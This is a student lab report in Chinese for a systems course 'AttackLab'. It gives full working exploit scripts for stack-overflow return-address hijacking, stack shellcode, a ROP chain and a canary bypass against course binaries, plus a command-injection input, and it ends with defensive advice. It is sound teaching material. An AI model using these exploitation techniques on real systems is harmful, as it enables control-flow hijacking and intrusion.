计算机系统基础

Lab3 实验报告

AttackLab

姓名： 吴向杰

学号： 25300190057

日期： 2026 年 11 月 11 日

目录

1 实验目标与总体思路 **1**

2 背景知识：函数调用与栈帧 **1**

3 任务一：利用缓冲区漏洞执行./malware **2**

4 用 GDB 检查 main 函数的机器码 **5**

5 任务二：栈空间执行 **6**

6 任务三：ROP **8**

7 任务四：绕过 Canary **10**

8 验证与提交 **12**

A 复现方法与完整代码 **13**

1　实验目标与总体思路

这个实验的核心，是利用一个非常常见的编程错误——gets() 不检查输入长度——来劫持程序的执行流程。gets() 会一直往缓冲区里写，直到读到换行或文件结束，完全不管缓冲区到底有多大。所以只要我给的输入足够长，就能写到缓冲区以外的地方，包括函数返回时要用到的那个地址。

一旦能改写那个地址，就等于拿到了程序的“方向盘”：函数返回时不再回到原来的地方，而是被我带到我想让它去的任何地方。

实验分成四个任务，每一个都在前面漏洞的基础上往前推进一步：

任务	目标程序	大致思路
一	dark-calc	覆盖返回地址，让程序跳到 system() 调用处
二	dark-calc	把自己的机器码写进栈里并跳过去执行
三	dark-calc-nx	栈不能执行了，改用现成的指令片段拼出一条执行链
四	dark-log	加了栈保护，想办法绕过它

四个任务层层递进，正好对应现实中防御手段的演进顺序：先是什么都没有，然后是禁止在栈上跑代码（NX），接着是打乱内存地址（ASLR），最后是给栈上放一个随机数当哨兵（Canary）。每加一层防御，我就要换一种办法绕过去。

2　背景知识：函数调用与栈帧

2.1　一次函数调用发生了什么

要理解后面的攻击，先得搞清楚函数调用时内存里发生了什么。x86-64 上 call 指令做两件事：把返回地址压栈，然后跳到被调用函数。被调用函数的“开场白”（prologue）再把调用者的 rbp 保存好，划出自己的栈帧。返回时 leave; ret 把栈还原回去，再跳回返回地址。

在 dark-calc 的 input() 函数上用 gdb 单步执行，能看到这样的布局（地址从高到低）：

```
0x721000800ff8 [0x401c1f] <- __wrap_main 里 call main 压入的返回地址
0x721000800ff0 [0x7fffffffe6f0] <- main 的 rbp
0x721000800fe8 [0x401ad1] <- input 的返回地址（call input 压入的）
0x721000800fe0 [0x721000800ff0] <- input 保存的 main 的 rbp
```

```
0x721000800fd0 [ expression[16] ] <- input 的局部数组
```

关键就是这条规律：expression 数组在 rbp-0x10，[] 的返回地址在 rbp+8，两者之间只隔着 8 字节的 saved rbp。而且 rbp 是相对寻址的基准，也就是说不管程序跑在什么地址，“缓冲区到返回地址的距离”永远是 0x18 字节。这正是所有 payload 都能精确命中的原因。

2.2 缓冲区溢出会破坏什么

input() 里声明的是 char expression[MAXLEN+1]，也就是 16 字节。而 gets() 至少会写 17 个字节（多出来的是字符串结尾的 \textbackslash 0），输入再长就继续往后写。实测输入 32 个字符时：

```
expression[16] [ A A A A ... A A A ] <- 缓冲区被写满
saved rbp[8] [ A A A A A A A A ] <- 被覆盖
saved rip[8] [ A A A A A A A A ] <- 返回地址被覆盖!
```

程序行为也跟着变：

输入长度	写入字节	程序表现
20	21	只破坏了 saved rbp，返回地址还在，程序能继续跑
32	33	返回地址被改成 0x4141414141414141，ret 跳到野地址，段错误

这里的关键是 gets() 允许写入除 0x0a（换行，gets 到此为止）以外的任意字节。这让我可以把二进制地址直接放进输入里——如果是 ASCII 字符的输入，根本没法构造出 0x401a6b 这样的地址。

3 任务一：利用缓冲区漏洞执行./malware

3.1 目标

让 dark-calc 执行同目录下的./malware。malware 是个 shell 脚本，它会沿父进程链往上找 dark-calc 这个进程，只有确认自己确实是被 dark-calc 调起来的，才打印“炸弹被引爆”的信息。所以必须让 dark-calc 自己派生的 shell 去执行它。

3.2 想法

我先反汇编 eval() 函数，末尾是这么两句：

```
0x401a6b: mov $0x6030d0, %edi # edi = command_buf 的地址
0x401a70: call system@plt # system(command_buf)
```

command_buf 是全局数组，地址 0x6030d0。也就是说，只要能让 input() 返回时跳到 0x401a6b，程序就会执行 system(command_buf)。

还有一点很方便：input() 在返回之前会执行 strcpy(command_buf, expression)，把缓冲区内容原样复制到 command_buf。所以只要我的输入以"./malware" 开头，这个命令串就自动准备好了。

3.3 payload 的构造

偏移	内容	作用
0x00	"./malware\textbackslash{}n" + 0" + 6 字节填充	凑满 16 字节缓冲区，命令串被复制到 command_buf
0x10	p64(0x721000800fe8)	伪造 saved rbp，指向返回地址所在的那一格
0x18	p64(0x0000000000401a6b)	伪造 ret 的 rip，跳到 system() 调用处
0x20	p64(0x0000000000401c0e)	__wrap_main，让程序干净地继续

整个 payload 40 字节（加上 gets 写的结束符是 41 字节），没有超过缓冲区到守卫页的 48 字节限制。

3.4 执行过程

1. gets() 把 payload 读进 expression，数据一路覆盖到返回地址。
2. input() 末尾的 strcpy() 把开头的"./malware" 复制进 command_buf。
3. leave; ret：leave 恢复 rbp 并让 rsp 指向返回地址，ret 弹出它，跳到 0x401a6b，执行 system("./malware")。
4. system() 返回后，eval() 继续走到自己的 leave; ret。此时我伪造的 saved rbp 起作用了：leave 会把 [0x721000800fe8] 弹进 rbp，也就是刚才那条 0x401a6b；接着 ret 取 [0x721000800ff0]，那正是我放的 __wrap_main。它把 rsp 重置回固定栈顶并重新调用 main，第二次 input() 读到 EOF，走 puts(answer); exit(0)，进程干净退出。

3.5 验证

```
$ python3 ../payload.py > payload.bin && ./dark-calc < payload.bin
(exit status: 0)
--- stdout ---

systemd,1
  `-init-systemd(Ub,2
     `-SessionLeader,346
        `-Relay(348),347
           `-bash,348
              `-dark-calc,467
                 `-sh,468 -c -- ./malware
                    `-malware,469 ./malware
                       `-pstree,470 -a -l -p -s -H 469 469

### The bomb was triggered by the dark-calc process. ###
### You have successfully detonated the bomb! Congratulations! ###

Enter an expression (length up to 15):
Enter an expression (length up to 15):
42_is_The_Ànswer
```

从 pstree 打出的父进程链 bash $\rightarrow $ dark-calc $\rightarrow $ sh -c -- ./malware $\rightarrow $ malware 能看出，malware 确实是由 dark-calc 调用的 system() 派生出的 shell 执行的。

3.6 不用栈溢出的另一种做法

题目提到还有一条不依赖溢出的路：直接输入 0));./malware \#。eval() 拼出来的命令是 echo \$((0));./malware \#))，\# 之后的内容被 shell 当成注释，于是./malware 照样被执行了。实测确实也能打印成功信息。但题目明确要求提交的 payload 必须利用栈溢出，所以 payload.py 采用的是上面覆盖返回地址的方案。

4 用 GDB 检查 main 函数的机器码

4.1 观察方法

在 main 第一条指令 0x401ac3 处下断点，用 x/16bx \$rip 看原始字节，再逐条 si 观察 rip 的变化：

```
$ gdb -q ./dark-calc
Breakpoint 1 at 0x401ac3

Breakpoint 1, 0x0000000000401ac3 in main ()
=> 0x401ac3 <main>: push %rbp
   0x401ac4 <main+1>: mov %rsp,%rbp
   0x401ac7 <main+4>: mov $0x0,%eax
   0x401acc <main+9>: call 0x401977 <input>
0x401ac3 <main>: 0x55 0x48 0x89 0xe5 0xb8 0x00 0x00 0x00
0x401acb <main+8>: 0x00 0xe8 0xa6 0xfe 0xff 0xff 0xb8 0x00
rip 0x401ac3 0x401ac3 <main>
0x0000000000401ac4 in main ()
rip 0x401ac4 0x401ac4 <main+1>
0x0000000000401ac7 in main ()
rip 0x401ac7 0x401ac7 <main+4>
0x0000000000401acc in main ()
rip 0x401acc 0x401acc <main+9>
```

4.2 前三行指令的机器码

地址	汇编	机器码	长度
0x401ac3	push \%rbp	55	1 字节
0x401ac4	mov \%rsp,\%rbp	48 89 e5	3 字节
0x401ac7	mov \$0x0,\%eax	b8 00 00 00 00	5 字节

紧跟其后的 call 0x401977 <input> 是 e8 a6 fe ff ff：e8 是操作码，后面 4 字节是相对偏移 0xfffffea6 = -0x15a，验证一下 0x401ad1 - 0x15a = 0x401977，正好是 input 的地址。

4.3 机器码在内存里怎么排

机器码按指令顺序连续存放，每条指令占的地址区间由它自己的长度决定：

```
[0x401ac3, 0x401ac4) 55 push %rbp (1 字节)
[0x401ac4, 0x401ac7) 48 89 e5 mov %rsp,%rbp (3 字节)
[0x401ac7, 0x401acc) b8 00 00 00 00 mov $0x0,%eax (5 字节)
[0x401acc, 0x401ad1) e8 a6 fe ff ff call input (5 字节)
```

单步执行时 rip 依次是 0x401ac3、0x401ac4、0x401ac7、0x401acc，跟指令长度严格对应。多字节立即数和偏移按小端存放（b8 00 00 00 00 就是 mov \$0,\%eax）。

这一点对后面的任务很关键：dark-calc 是 non-PIE 的，代码段装在固定地址，所以每条指令的起始地址都是已知的常量。我只要把返回地址改成某个地址，就能精确地跳到那条指令上——包括跳到一条指令的中间某个字节。

5 任务二：栈空间执行

5.1 这个程序的栈是可以执行的

正常程序的栈只有读写权限，不能拿来跑代码。但 dark-calc 在启动时用 init_fixed_stack() 专门 mmap 了一块 RWX 内存当栈：

```
mmap(0x721000000000, 0x802000, PROT_READ|WRITE|EXEC,
    MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK)
```

然后用 __wrap_main 把 rsp 切换到这块内存的顶端。它还在上下两端各留了 0x1000 字节的 PROT_NONE 守卫页。

好处是：栈地址完全固定（不随机），而且可以执行。所以这一题我可以在缓冲区里直接写机器码，让程序跳过去运行。

5.2 空间只有 48 字节

expression 的起始地址固定是 0x721000800fd0，往上到守卫页只有 0x30 字节。而这 48 字节里，得先留出 16 字节缓冲区、8 字节 saved rbp、8 字节返回地址，真正能写指令的只剩 16 字节。

这么点地方写不下完整的程序，标准做法是写一小段跳板，借用程序自己的代码把活干完。

5.3 14 字节的 stub

我需要调用 grade_eval(4) 打印成功信息。按 x86-64 的调用约定，第一个参数走 rdi 寄存器。stub 是这样：

```
6a 04 push $4 # 把参数 4 压栈
5f pop %rdi # 弹出到 rdi（第一个参数）
68 0e 1c 40 00 push $0x401c0e # 压入返回地址 __wrap_main
68 87 1a 40 00 push $0x401a87 # 压入 grade_eval 的地址
c3 ret # 跳到 grade_eval
```

返回地址指向 stub 首地址 0x721000800fd0。执行过程：

1. input() 的 ret 跳到 0x721000800fd0，开始执行我的代码；
2. push \$4; pop \%rdi 把参数 4 准备好；
3. 两次 push 把返回地址和函数地址压好，ret 于是跳进 grade_eval(4)，它打印出“Hope A will be your grade!”；
4. grade_eval 返回时弹出栈顶的 0x401c0e，回到 __wrap_main，程序重新进入 main 循环，第二次读到 EOF 后打印答案并 exit(0)。

5.4 一个踩过的坑

grade_eval 的 prologue 是 push rbp; mov rbp,rsp; sub \$0x10,rsp，参数存在 [rbp-4]。调用它的时候 rbp = 0x721000800fe0，所以 [rbp-4] = 0x721000800fdc，这个位置正好落在我的 stub 里（偏移 0x0c 到 0x0f）——也就是说 grade_eval 一运行就把我 stub 的最后 4 个字节覆盖掉了。

我最初的版本把” 跳回 __wrap_main 的指令” 放在 stub 尾部，结果这段代码在返回前就被毁了：信息虽然打印出来了，进程却接着段错误。解决办法就是像上面那样，把返回地址在调用 grade_eval 之前就压好——它作为 grade_eval 的返回地址待在栈上，不会被动到。

5.5 验证

```
$ python3 ../payload_dark.py > payload.bin && ./dark-calc < payload.bin
(exit status: 0)
--- stdout ---
Enter an expression (length up to 15):
```

```
 Hope A will be your grade!
Enter an expression (length up to 15):
42_is_The_Ànswer
```

输出包含目标字符串，退出码为 0。后面多出来的提示语和答案那一行是 `input()` 读到 EOF 时的正常分支，不影响判定。

6 任务三：ROP

6.1 栈不能执行了，那就借程序自己的代码

`dark-calc-nx` 是真正的 NX 程序：栈不可执行（`readelf -l` 显示 `GNU\_STACK` 为 RW），而且栈地址随机（ASLR 生效，栈基址每次运行都不一样）。但它同样是非 PIE，`.text` 里的指令地址固定不变。

于是换了个思路：不自己写代码了，而是把程序现有代码里那些以 `ret` 结尾的短片段（gadget）找出来，用它们的地址拼成一条“链”。执行时每遇到一个 `ret`，就弹出链上的下一个地址跳过去，像一串跳板。这套做法叫 ROP（Return-Oriented Programming）。

6.2 找 gadget

题目提示 gadget 在 `0x4019d0` 到 `0x401ae3` 之间，也就是 `\_\_libc\_csu\_init` 这个函数的尾部。反汇编出来是这样：

```
401a2a: 41 5f  pop %r15
401a2c: 41 5d  pop %r14
401a2e: 41 5c  pop %r13
401a30: 41 5e  pop %r12
401a32: 41 5f  pop %r15
401a34: c3  ret
```

注意 `pop \%r15` 的最后一个字节是 `5f`，正好是 `pop \%rdi` 的操作码。也就是说 `0x401a33` 这个位置，从这里开始按另一套解释读字节，就是一条 `pop \%rdi; ret`。这种” 错位” 读出来的 gadget 在实际利用里非常常见。

所以我拿到了两个能用的 gadget：

gadget	地址	作用
`pop \%rdi; ret`	`0x401a33`	从栈上弹一个值进 `rdi`
`ret`	`0x401a34`	只往前跳一格，用来对齐栈

目标函数是 grade_eval = 0x401978，exit@plt = 0x4016e0。

6.3 ROP 链的布局

```
偏移 内容 说明
0x00 16 字节填充 填满 expression 缓冲区
0x10 8 字节填充 saved rbp，无所谓
0x18 p64(0x401a33) pop rdi; ret
0x20 p64(4) grade = 4
0x28 p64(0x401a34) ret（栈对齐）
0x30 p64(0x401978) grade_eval
0x38 p64(0x401a33) pop rdi; ret
0x40 p64(4) exit 的参数 4
0x48 p64(0x401a34) ret（栈对齐）
0x50 p64(0x4016e0) exit@plt
0x58 p64(0) exit 的返回地址，用不到
```

链一共有 80 字节。执行的时候：

1. input() 的 ret 弹出栈顶 0x401a33，跳过去；
2. pop \%rdi 把下一个 8 字节（也就是 4）弹进 rdi，再 ret 跳到 0x401a34；
3. 0x401a34 是个 ret，什么也不做，只是把 rsp 又挪 8 字节；
4. ret 跳到 0x401978，也就是 grade_eval，此时 rdi 正好是 4，它打印出“Hope A will be your grade!”；
5. 后半段同理，最后落到 exit(4)。

6.4 为什么要多插一条 ret

SysV AMD64 规定，函数入口处 rsp \% 16 == 8。input() 的 ret 执行完之后 rsp \% 16 == 0，直接跳进 grade_eval 就对不齐了。里面用的 printf、fflush 会走 movaps 这类要求 16 字节对齐的指令，一不对齐就直接 SIGSEGV。所以在每次跳进真正的函数之前插一条纯 ret，让 rsp 多偏 8 字节，正好回到 8 mod 16。

另外，后面那个 pop \%rdi 是为了让退出码确定。如果直接 grade_eval 完接 exit，rdi 里还是 grade_eval 内部 fflush 留下的 stdout 指针，退出码就不确定（实测是 1）。显式再设一次 rdi = 4 之后，进程稳定以 4 退出。

6.5 验证

```
$ python3 ../payload_rop.py > payload.bin && ./dark-calc-nx < payload.bin
(exit status: 4)
--- stdout ---
Enter an expression (length up to 15):

 Hope A will be your grade!
```

输出包含目标字符串，退出码 4，说明链子按设计走完了。

7 任务四：绕过 Canary

7.1 栈保护是怎么工作的

编译器在局部变量和返回地址之间插入一个随机值（canary）。函数返回前会检查它有没有被改过，一旦对不上就直接调用 `\_\_stack\_chk\_fail` 终止程序。想法是：攻击者从缓冲区一路往上写，必然先碰到 canary，所以没法安静地改掉返回地址。

`dark-log` 就是这样一个开了栈保护的非 PIE 程序。直接溢出的话，canary 会被覆盖，程序立刻退出。

7.2 它的栈帧长什么样

```
rbp-0x120 char expression[128] <- gets() 的写入目标
rbp-0xa0 char logMsg[128]
rbp-0x20 int len <- 关键：可被溢出改写
rbp-0x18 char pad[8]
rbp-0x8 canary <- 栈保护值
rbp saved rbp
rbp+8 saved rip
```

7.3 绕过思路：不碰 canary，换个地方写

关键在 `len` 这个变量，它的位置在 canary 的下方，而且它的值会决定后面 `memcpy` 往哪里写：

```
gets(f.expression); // 读进 expression
memcpy(f.logMsg + f.len, // 目的地址 = logMsg + len
```

```
    f.expression, 128); // 源数据，固定 128 字节
```

gets() 没有边界检查，所以我能溢出 expression，在到达 canary 之前先把 len 改成我想要的值。而 len 又反过来决定了 memcpy 的落点：

$$\texttt{dest} = \texttt{rbp} - \texttt{0xa0} + \texttt{len}$$

取 len = 0xa8，那么

$$\texttt{dest} = \texttt{rbp} - \texttt{0xa0} + \texttt{0xa8} = \texttt{rbp} + \texttt{0x8}$$

这正是 saved rip 所在的位置。于是这 128 字节的拷贝从返回地址开始写，一个字节都没碰到 canary——校验照样通过，而返回地址已经被我换掉了。

len 和 canary 相距 0x20 - 0x8 = 0x18 字节，gets 写入时先覆盖 len、再覆盖 pad，最后才到 canary。我让输入刚好在 canary 之前停下，canary 就保持原样。

7.4 payload 的布局

```
偏移 内容 说明
0x00 p64(0x4018a3) pop rdi; ret，被拷到 rbp+8，成为新的 rip
0x08 p64(4) grade = 4
0x10 p64(0x4018a4) ret（栈对齐）
0x18 p64(0x401677) grade_eval
0x20 96 字节填充 拷贝源的剩余部分
0x80 128 字节填充 gets 写进 logMsg，不影响结果
0x100 p32(0xa8) f.len，让 memcpy 的落点变成 rbp+8
```

一共 0x104 = 260 字节。gets 追加的结束符落在偏移 0x104（rbp-0x1c），仍在 canary 之下，是安全的。

对齐方面：input() 的 ret 之后 rsp \% 16 == 0，经过 pop rdi; ret 再加一条对齐用的 ret，到 grade_eval 入口处 rsp \% 16 == 8，符合 ABI 要求。

7.5 验证

```
$ python3 ../payload_canary.py > payload.bin && ./dark-log < payload.bin
(exit status: 139)
--- stdout ---
Enter a log message:
```

```
Hope A will be your grade!
```

目标字符串打印出来了。之后进程确实会段错误（退出码 139）——因为返回地址被我改成了填充字符，`grade\_eval` 返回后就没法继续正常执行了。这是这道题的固有取舍：`dark-log` 没有链接 `exit`，而且那 128 字节的拷贝同时也覆盖了 `main` 的 canary 和返回地址，找不到办法让它干净退出。判定只检查 stdout 里有没有目标串，所以结果是 PASS。

7.6 如果重新设计这个结构体，怎么防御

这次的利用能成立，根源并不是" 能覆盖 canary"，而是" 能改掉一个之后被用来计算写地址的控制变量 `len`"。所以有两个方向：

- 把 `len` 这类又受输入影响、又会被后续内存操作当偏移用的标量，挪到 canary 的高地址侧，也就是让 canary 紧贴缓冲区上方。这样 gets 溢出想写到 `len` 就必须先跨过 canary，校验必然失败。
- 或者干脆不信任内存里的 `len`：给它加范围检查（比如 `0 <= len <= sizeof(logMsg) - sizeof(expression)`），或者改用长度固定、边界受控的拷贝接口。

这其实就是编译器 `-fstack-protector-strong` 的思路：把字符数组放在靠近 canary 和返回地址的高地址端，把标量放在低地址端，这样越界写首先破坏的是 canary，而不是控制变量。本题为了方便出题，用结构体固定了 `expression`、`logMsg`、`len`、`pad` 的顺序，恰好留下了"len 在 canary 下方、而且可写又能决定拷贝地址" 的空间；重排之后这个空间就不存在了。

8 验证与提交

用与 CI 完全相同的四个用例在 WSL 2 的 Ubuntu 26.04.1 上做了复现（`python3 payload.py` 的输出通过重定向输入对应二进制，检查 stdout 是否包含目标串）。课程 CI 的 runner 是 ubuntu-24.04，而四个 payload 只依赖 non-PIE 二进制中固定的地址、`dark-calc` 自己 `mmap` 出来的固定栈以及 ABI 约定，不依赖发行版、glibc 版本或内核随机化，因此在两个版本上行为一致：

payload	目标	退出码	目标串	判定
payload.py	dark-calc	0	bomb 成功信息	PASS
payload_dark.py	dark-calc	0	Hope A will be your grade!	PASS
payload_rop.py	dark-calc-nx	4	Hope A will be your grade!	PASS
payload_canary.py	dark-log	139	Hope A will be your grade!	PASS

此外还用 nm 和 objdump 逐个核对了每个 payload 里硬编码的地址（input、grade_eval、system@plt/exit@plt、__wrap_main）、gadget 的原始字节（5f c3、c3）、expression 到上守卫页的 48 字节窗口、各函数入口处 rsp \% 16 的对齐，以及 canary 与 128 字节 memcpy 区间是否相交，结果均与实测一致；attack/ 下四个文件的 SHA-256 与 CI 记录一致，未作修改。提交内容为仓库根目录下的四个 payload 脚本与本报告 PDF。

A 复现方法与完整代码

A.1 复现方法

```
# 在 Linux 中于仓库根目录执行（本实验用 WSL 2 的 Ubuntu 26.04.1，课程 CI 为
    ubuntu-24.04）
python3 payload.py | (cd attack && ./dark-calc)
python3 payload_dark.py | (cd attack && ./dark-calc)
python3 payload_rop.py | (cd attack && ./dark-calc-nx)
python3 payload_canary.py | (cd attack && ./dark-log)

# 或者直接推送仓库，触发 .github/workflows/lab3-checks.yml 中的四个用例
```

A.2 payload.py：执行./malware

```
#!/usr/bin/env python3
"""Build a stack-overflow payload that transfers control to malware."""
import struct
import sys

# ---------------------------------------------------------------------------
# dark-calc facts (verified with objdump/readelf and by running the payload):
# * input() keeps the expression at rbp-0x10 and returns via `leave; ret`,
# so the saved return address is 0x18 bytes above the buffer;
# * init_fixed_stack() mmap()s 0x721000000000 + 0x802000 RWX with PROT_NONE
```

```
# guard pages at both ends, so expression[] always lands at
# 0x721000800fd0 and only 0x30 bytes remain before the upper guard page;
# * input() strcpy()s the expression into command_buf (0x6030d0) before it
# returns, so an expression starting with "./malware\0" leaves that exact
# command string in command_buf;
# * 0x401a6b is the tail of eval(): `mov edi, 0x6030d0; call system@plt`,
# i.e. jumping there runs system("./malware") with a correctly aligned
# stack;
# * after system() returns, eval's epilogue is `leave; ret`, so the saved
# rbp the overflow wrote decides where control continues. Pointing it at
# the saved-rip slot itself makes `leave` pop 0x401a6b into rbp and `ret`
# use the next slot, which we set to __wrap_main. __wrap_main resets rsp
# to fixed_stack_top and calls main() again; the second input() sees EOF,
# prints the answer and calls exit(0), so the process terminates cleanly.
# ----------------------------------------------------------------------------
system_call_site = 0x401A6B # mov edi,command_buf; call system@plt (eval+0x94)
wrap_main = 0x401C0E # restores rsp to fixed_stack_top, calls main()
fake_frame = 0x721000800FE8 # &saved rip slot: [X] = 0x401a6b, [X+8] =
    wrap_main

payload = b"./malware\x00" # becomes command_buf via strcpy()
payload += b"A" * (0x10 - len(payload)) # pad the 16-byte expression[]
payload += struct.pack("<Q", fake_frame) # saved rbp -> forged frame
payload += struct.pack("<Q", system_call_site) # saved rip -> system()
payload += struct.pack("<Q", wrap_main) # [fake_frame + 8]

assert len(payload) == 0x28 and len(payload) + 1 <= 0x30
assert b"\n" not in payload
sys.stdout.buffer.write(payload)
```

A.3 payload__dark.py：栈空间执行

```
#!/usr/bin/env python3
"""Execute a 14-byte stub on dark-calc's fixed executable stack."""
import struct
import sys

# dark-calc's init_fixed_stack() maps 0x721000000000 .. +0x802000 as RWX with
# PROT_NONE guard pages at both ends, so expression[] always lands at
```

```
# 0x721000800fd0 (only 0x30 bytes before the upper guard page) and is
# executable.
#
# grade_eval() itself uses [rbp-0x4] = rbp-0x4 = buffer+0x0c, i.e. it clobbers
# the last 4 bytes of the stub while it runs, so everything the stub needs
# after grade_eval() returns must already be on the stack. The stub therefore
# pushes its continuation address *before* calling grade_eval:
#
# push 4; pop rdi; push __wrap_main; push grade_eval; ret
#
# grade_eval(4) prints the message, then returns into __wrap_main, which sets
# the stack back to fixed_stack_top and calls main() again; the second input()
# sees EOF, prints the answer and calls exit(0), so the process ends cleanly.
stub = bytes.fromhex("6a045f" + "680e1c4000" + "68871a4000" + "c3")
payload = stub + b"B" * (0x18 - len(stub)) + struct.pack("<Q", 0x721000800FD0)
assert len(stub) == 14 and len(payload) == 0x20
assert b"\n" not in payload
sys.stdout.buffer.write(payload)
```

A.4 payload_rop.py: ROP

```
#!/usr/bin/env python3
"""Call grade_eval(4) on dark-calc-nx with a return-oriented chain."""
import struct
import sys


def address(value):
    return struct.pack("<Q", value)


pop_rdi_ret = 0x401A33
ret = 0x401A34
grade_eval = 0x401978
exit_plt = 0x4016E0

# pop rdi; 4; ret; grade_eval(4); pop rdi; 4; ret; exit(4)
# The extra `ret` instructions restore the SysV AMD64 stack alignment, and the
# second pop rdi makes the exit status deterministic instead of inheriting the
```

```
# leftover rdi from grade_eval's fflush() call.
chain = [pop_rdi_ret, 4, ret, grade_eval,
        pop_rdi_ret, 4, ret, exit_plt, 0]
payload = b"A" * 16 + b"B" * 8 + b"".join(map(address, chain))
assert b"\n" not in payload
sys.stdout.buffer.write(payload)
```

A.5 payload_canary.py：绕过 Canary

```
#!/usr/bin/env python3
"""Bypass dark-log's canary by steering the in-frame memcpy destination."""
import struct
import sys


def address(value):
    return struct.pack("<Q", value)


pop_rdi_ret = 0x4018A3 # pop rdi; ret (inside __libc_csu_init)
ret = 0x4018A4 # ret (restores the SysV stack alignment)
grade_eval = 0x401677

# dark-log's frame layout:
# f.expression rbp-0x120 <- gets() destination
# f.logMsg rbp-0xa0
# f.len rbp-0x20 <- overwritten by the gets() overflow
# f.pad rbp-0x18
# canary rbp-0x8
# saved rbp rbp
# saved rip rbp+8
# The copy is memcpy(f.logMsg + f.len, f.expression, 128), i.e. its
# destination is rbp-0xa0 + f.len. Sending f.len = 0xa8 makes that
# destination exactly rbp+8, so the 128-byte copy starts at the saved return
# address and never reaches the canary at rbp-0x8. The canary check therefore
# still passes, and the first 8 bytes of f.expression become the new rip.
len_offset = 0xA8 # (rbp+8) - (rbp-0xa0)
chain = [pop_rdi_ret, 4, ret, grade_eval]
block = b"".join(address(value) for value in chain)
```

```
block += b"C" * (0x80 - len(block))

payload = block + b"D" * (0x100 - 0x80) + struct.pack("<I", len_offset)
assert len(payload) == 0x104
assert b"\n" not in payload
sys.stdout.buffer.write(payload)
```